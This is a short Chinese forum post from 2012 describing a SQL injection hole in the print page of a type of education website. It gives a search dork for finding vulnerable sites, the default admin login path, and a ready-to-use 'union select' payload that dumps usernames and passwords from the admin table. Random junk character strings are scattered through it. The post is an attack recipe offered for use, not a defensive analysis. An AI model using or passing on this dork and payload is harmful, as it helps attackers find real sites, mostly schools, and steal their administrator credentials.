教育站打印页面漏洞
, a7 m4 @$ T# J# G百度或google搜索 inurl:info_Print.asp?ArticleID=' ?+ c9 l% P) D: B
默认后台：/ad_login.asp
6 ?; u, O3 k& j爆管理员密码：
. D( n7 s9 G R5 `在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
! v; C; K& _ i- ~! P
) l0 T. \7 Z8 h( F+ r: k# Junion select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
5 C8 J3 Q# q/ d% p0 g: y4 `4 L- d9 b6 k, h+ r
作者：佚名 1 N' Z2 v2 }! X
' X( h. S* R- u( `8 U/ K' R' \
, }5 G# r4 K$ z9 @+ j( g( t: P6 l9 C W+ ]
|
发表于 2012-10-31 08:37:31
收藏
支持
反对